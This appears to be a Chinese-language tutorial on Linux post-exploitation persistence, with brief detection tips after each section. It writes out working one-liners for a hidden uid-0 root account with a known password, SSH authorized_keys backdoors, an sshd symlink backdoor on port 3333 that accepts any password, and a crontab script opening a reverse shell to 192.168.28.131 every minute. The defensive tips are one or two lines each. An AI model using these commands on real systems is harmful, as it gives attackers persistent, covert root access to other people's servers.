1、一句话添加用户和密码
添加普通用户:
创建一个用户名guest,密码123456的普通用户
useradd -p openssl passwd -1 -salt 'salt' 123456
guest
useradd -p 方法
是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p “$(openssl passwd -1 123456)” guest
chpasswd方法
useradd guest;echo ‘guest:123456’|chpasswd
echo -e方法
useradd test;echo -e “123456\n123456\n” |passwd test //有回显信息
添加root用户:
创建一个用户名guest,密码123456的root用户
useradd -p openssl passwd -1 -salt 'salt' 123456
guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
可疑用户排查技巧:
查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: ‘$3==0{print $1}’ /etc/passwd
查询可以远程登录的帐号信息
[root@localhost ~]# awk ‘/$1|$6/{print $1}’ /etc/shadow
除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v “#|$” | grep “ALL=(ALL)”
2、ssh公私钥免密登录
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
客户端:
ssh-keygen -t rsa
过程中按三次回车,执行结束如下图:
进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:
其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。在服务器上/root/.ssh/创建一个authorized_keys文件,将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。
在客户端进行免密登录:ssh root@IP
排查技巧:查看/root/.ssh/authorized_keys是否被修改。
3、软连接
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su 在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
在目标服务器上执行一句话后门:
centos
1 #建立后门软链接
2 ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=3333
软链接建立后,任何一台主机使用命令ssh root@IP -p 3333 任意密码就能成功登陆,这里使用kali尝试,随意输入密码,成功登陆。
centos查看一下端口连接:
排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。
4.SUID Shell
Suid shell是一种可用于以拥有者权限运行的shell。
5、crontab反弹shell
crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。
a、创建shell脚本,例如在/etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
chmod +sx /etc/evil.sh
b、crontab -e 设置定时任务
#每一分钟执行一次
*/1 * * * * root /etc/evil.sh
重启crond服务,service crond restart,然后就可以用nc接收shell。
排查技巧:
查看可疑的定时任务列表
crontab -e